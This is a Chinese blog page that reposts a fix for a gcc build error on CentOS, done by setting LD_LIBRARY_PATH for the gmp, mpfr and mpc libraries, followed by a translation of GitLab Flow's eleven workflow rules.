这里注意在URL最后添加 &useUnicode=true&characterEncoding=utf8(可能会出现中文乱码问题)

最后成功完成配置。

configure: error: cannot compute suffix of object files: cannot compile【轉】

【原文鏈接】

https://blog.csdn.net/testcs_dn/article/details/45437149

【原文摘錄】

CentOS 6.5下安装gcc-4.8.4 make的时候提示以下错误:
configure: error: cannot compute suffix of object files: cannot compile

解决办法:
我的gmp, mpfr, mpc都是使用默认参数安装的,没指定任何参数

./configure
make
make install

所以直接使用下面的命令设置环境变量就可以了:

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib

如果安装时指定了安装目录,使用类似下面的命令:

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/gcc-4.6.3/mpc-0.9/mpc_install/lib:/opt/gcc-4.6.3/gmp-5.0.4/gmp_install/lib:/opt/gcc-4.6.3/mpfr-3.1.0/mpfr_install/lib

GitLab Flow 的十一个规则【轉】

【原文鏈接】

https://www.baidu.com/link?url=7WA_ClDPUTfxCY87ZyPC7hdfSDZtU1v9u-8aPR1pz1RGS3I1jMqOKb-m6AnKgaqa5YNVAG29hSNGV3tg72KD4M9CUzBoeFVGrPPLNyPYdbO&wd=&eqid=ca6a84b60000dee5000000035b611d69

【原文摘錄】

使用 Git 版本控制,是对使用它之前的所有版本控制方式的一种改进。然而,很多组织最终以太过混乱或过于复杂的流程来结束。这个问题对于刚从其他版本控制系统转过来的组织来说特别突出。

在本文中我们会列出 GitLab 工作流 的11条规则,以帮助简化、整理工作流程。这些规则最主要的益处是(或我们希望是) 它能够简化流程并且产生一个更高效和更清楚的成果。

我们认为总会有可改善的空间,并且每一次改善都是草案。一如既往,每个人都可以做出贡献!反馈和提意见是非常受欢迎的。

1. 使用功能分支,不直接提交到master.

如果你从 SVN过来,例如,你将习惯于基于trunk的工作流。当使用Git的时候,你应该为你做的任何事情创建一个分支,以便你以merge前的代码评审作为结束。

2. 测试所有的提交,不仅仅是master上的提交。

一些人设置他们的CI仅仅测试那些被合并到master的提交。这太迟了;对于master总是绿色的测试人们应感到有信心。对人们来说在他们开始开发新功能前不得不测试master是没有意义的,例如,CI不是很昂贵,所以按这种方式做才有意义。

3. 在所有的提交上运行所有的测试(如果运行测试多于5分钟,并行运行它们)。

如果你工作在一个特性分支并添加新提交,然后在那个分支运行测试。如果测试花费较长时间,试着并行的运行它们。在服务端的合并请求运行所有的测试套件。如果你有一个服务于开发的测试套件,另一个仅仅是对新版本的,那么值得设置并行测试,分别运行它们。

4. 在合并到master前执行代码评审,而非事后。

不要在一周结束的时候测试所有的东西。 当场做,因为你会更容易抓住可能导致问题的事情,其他人也会努力想出解决方案。

5. 部署是自动的,基于分支或基线。

如果你不想每次部署master,可以创建一个生产分支。但是这里没有理由为什么你可能使用一个脚本或登录到某个地方手动部署。让一切自动化,或者一个特定的分支触发一次生产部署

6. 基线是人为创建,而不是CI创建。

用户创建一个基线,基于那个基线,CI将执行一个操作。你不应该让CI更改代码仓库。如果你需要非常详细的指标,您应该有一个服务器报告列出了新版本。

7. 依赖tags版本进行发布

如果你为你的项目生成tag,这表示你发布了一个新版本。

8.绝不以重置方式提交变更

如果你将一个项目的变更提交到一个公共的分支上,你不应该使用重置方式(即不应用 git rebase),
否则将造成难以追踪你对该项目的改善和相应的测试结果,这样做实际上破坏了他人选择最有利于的版本的依据。

我们有时也违反这条准则,当我们要求一个贡献者使用(git merage –spansh)提交他的修改,以便提供真实的修改历史,忽略他本地不规范的修改历史时。这样做以后查阅修改历史时,容易根据修改历史做版本恢复。但是总而言之 推荐做法为:代码应该纯净,修改历史应该真实。

9. 每个人都应该从主支开始,并一直以主支为基础

这意味着你不从任何分支开始。你检出主支内容,然后创建你的特性,提交你的合并请求,下次修改还是以主支为基础。在你合并内容到主枝上时,你应该完成审查,不应该包含其他中间阶段的内容。

10. 先修改主支中的错误,之后发布分支

如果你发现一个bug,最差的事是你修改了刚发布的版本,而未修改主支。

避免这种情况发生,你应该总是先修改主枝,之后再发布另外一个版本用来修复已发布版本中的错误。

11. 提交的信息中反应你修改部分的意图.

你应该不止说明你做了什么,还应该说明你为什么这么做。如果你解释为什么这么做而没有使用其他方式,这将会更有用。